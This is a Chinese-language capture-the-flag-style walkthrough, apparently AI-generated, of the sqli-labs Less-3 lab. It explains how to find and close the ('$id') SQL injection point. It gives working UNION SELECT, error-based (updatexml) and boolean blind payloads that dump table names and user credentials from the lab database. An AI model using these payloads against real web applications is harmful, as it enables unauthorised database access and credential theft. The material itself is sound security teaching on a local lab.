Sqli-Labs Less-3 靶场完整解题流程解析-豆包生成

Sqli-Labs Less-3 靶场完整解题流程解析

你作为网络安全初学者,希望我详细讲解sqli-labs-master/Less-3靶场的完整解题过程,并且对其中的难点知识点进行拆解、扩展,帮助你理解每一步的原理和逻辑。下面我会从环境准备→注入类型判断→闭合方式分析→信息爆破 一步步讲解,确保每个环节都清晰易懂。

前置知识:Less-3 核心背景

sqli-labs Less-3 是单引号+括号闭合的字符型SQL注入 靶场,后台核心SQL语句大致为:

SQL 复制代码
SELECT * FROM users WHERE id=('$id') LIMIT 0,1;

和数字型注入(id=1)、单纯字符型注入(id='1')的区别是:这里的参数被('')双层包裹,这也是解题的核心难点。


步骤1:判断是否存在SQL注入点

首先测试基础参数,确认注入点是否存在:

2.1 正常访问

访问URL:http://localhost/sqli-labs-master/Less-3/?id=1

页面返回:You are in...........,说明参数id=1能正常查询数据。

2.2 测试异常参数(判断注入类型)

访问URL:http://localhost/sqli-labs-master/Less-3/?id=1'

页面返回报错信息

Plain 复制代码
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
关键分析:

报错信息是解题的"钥匙"!我们拆解报错和后台SQL的对应关系:

  • 后台原语句:SELECT * FROM users WHERE id=('$id') LIMIT 0,1

  • 当输入id=1'时,代入后变成:SELECT * FROM users WHERE id=('1'') LIMIT 0,1

  • 多余的单引号('1'')导致SQL语法错误,说明这是字符型注入(数字型注入加单引号不会报这种语法错)。


步骤2:确定SQL语句的闭合方式(核心难点)

从报错信息near ''1'') LIMIT 0,1'可以拆解:

  • 原语句中id() + 单引号包裹 → ('$id')

  • 输入1'后,变成('1''),需要"闭合"多余的单引号和括号,让SQL语法恢复正常。

测试闭合方式:

访问URL:http://localhost/sqli-labs-master/Less-3/?id=1') --+

页面重新返回You are in...........,说明闭合成功!

难点讲解:闭合原理
  • 1'):用来闭合原语句的(' → 原语句变成id=('1')(前半部分闭合);

  • --+:是MySQL的注释符(--后需要加空格,URL中空格会被编码为+),作用是注释掉后面的) LIMIT 0,1,最终SQL语句变为:

    SQL 复制代码
    SELECT * FROM users WHERE id=('1') -- +') LIMIT 0,1;
    复制代码
    注释后的内容不会执行,语法完全正确。

扩展:注释符的替代方案

  • #:也是MySQL注释符,但URL中#是锚点,需要URL编码为%23,即id=1') %23

  • /*...*/:多行注释,如id=1') /* xxx */


步骤3:爆破字段数(确定union select的字段匹配数)

union select(联合查询)是显注的核心方法,必须满足前后查询的字段数一致,因此需要先确定表的字段数。

操作步骤:

  1. 访问:http://localhost/sqli-labs-master/Less-3/?id=1') order by 1 --+(正常)

  2. 访问:http://localhost/sqli-labs-master/Less-3/?id=1') order by 2 --+(正常)

  3. 访问:http://localhost/sqli-labs-master/Less-3/?id=1') order by 3 --+(正常)

  4. 访问:http://localhost/sqli-labs-master/Less-3/?id=1') order by 4 --+(报错)

结论:

users表有3个字段(id、username、password),这是union select的基础。

知识点扩展:order by的作用

order by N 表示按第N个字段排序,如果N超过表的字段数,就会报错,以此快速判断字段数,比手动猜更高效。


步骤4:使用union select 爆破数据库信息

union select需要满足两个条件:

  1. 前后查询字段数一致(已确定是3);

  2. 原查询无结果(用id=-1让原查询返回空),这样页面才会显示union的查询结果。

5.1 爆破当前数据库名

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,database(),3 --+

页面返回:DATABASE(): security,说明当前数据库是security

关键解释:
  • id=-1:让原查询SELECT * FROM users WHERE id=('-1')无结果(users表没有id=-1的记录);

  • database():MySQL内置函数,返回当前连接的数据库名;

  • 13:占位符(因为字段数要3个),可以替换成任意数字/字符串。

5.2 爆破数据库中的表名

利用MySQL的系统库information_schema(存储所有数据库/表/字段的元数据),查询security库下的所有表:

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

页面返回:TABLE_NAME: emails,referers,uagents,users,核心表是users(存储账号密码)。

难点讲解:information_schema 核心表
表名 核心字段 作用
information_schema.tables table_schema(库名)、table_name(表名) 查询指定库的所有表
information_schema.columns table_schema、table_name、column_name(字段名) 查询指定表的所有字段
关键函数:group_concat()

将多行结果拼接成一行(比如users表有多个字段,直接查会只显示一行,用这个函数能一次性看到所有表/字段),如果不用这个函数,页面只会显示第一个表(emails)。

5.3 爆破users表的字段名

查询security库下users表的所有字段:

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

页面返回:COLUMN_NAME: id,username,password,确认users表的核心字段是usernamepassword

5.4 爆破users表的账号密码

最终步骤:查询users表的所有账号密码:

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(username,':',password),3 from security.users --+

页面返回(示例):

Plain 复制代码
USERNAME:PASSWORD: Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4

至此,Less-3靶场的核心数据已全部爆破出来。


扩展知识点:其他注入方式(应对过滤场景)

如果靶场过滤了union select,还可以用以下方式:

1. 报错注入(利用MySQL报错函数)

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) --+

页面报错显示:XPATH syntax error: '~security~',直接爆出数据库名。

  • updatexml():MySQL XML函数,参数错误时会报错并显示错误内容;

  • 0x7e:十六进制的~,用来分隔报错内容,避免和其他字符混淆。

2. 布尔盲注(无回显/无报错时)

通过判断条件真假来逐字符爆破:

  • 判断数据库名长度:id=1') and length(database())=8 --+(返回正常,说明长度是8);

  • 判断第一个字符:id=1') and ascii(substr(database(),1,1))=115 --+(115是s的ASCII码,返回正常);

  • 依次爆破每个字符,最终拼出数据库名。


总结(核心关键点)

  1. Less-3的核心是单引号+括号 的字符型注入,闭合方式为1') --+(重点是分析报错信息确定闭合符);

  2. union select是显注核心,需满足字段数一致+原查询无结果两个条件;

  3. information_schema是MySQL元数据核心库,是爆破数据库/表/字段的关键,配合group_concat()可一次性获取所有结果。

通过这个靶场,你需要掌握"判断注入类型→分析闭合方式→爆破字段数→union查询爆信息"的完整SQL注入思路,这也是所有显注类靶场的通用解题逻辑。

相关推荐
代码匠心4 分钟前
AI 自动编程:一句话设计高颜值博客
前端·ai·ai编程·claude
_AaronWong1 小时前
Electron 实现仿豆包划词取词功能:从 AI 生成到落地踩坑记
前端·javascript·vue.js
cxxcode1 小时前
I/O 多路复用:从浏览器到 Linux 内核
前端
用户5433081441941 小时前
AI 时代,前端逆向的门槛已经低到离谱 — 以 Upwork 为例
前端
JarvanMo2 小时前
Flutter 版本的 material_ui 已经上架 pub.dev 啦!快来抢先体验吧。
前端
恋猫de小郭2 小时前
AI 可以让 WIFI 实现监控室内人体位置和姿态,无需摄像头?
前端·人工智能·ai编程
哀木2 小时前
给自己整一个 claude code,解锁编程新姿势
前端
程序员鱼皮2 小时前
GitHub 关注突破 2w,我总结了 10 个涨星涨粉技巧!
前端·后端·github
UrbanJazzerati2 小时前
Vue3 父子组件通信完全指南
前端·面试
是一碗螺丝粉2 小时前
5分钟上手LangChain.js:用DeepSeek给你的App加上AI能力
前端·人工智能·langchain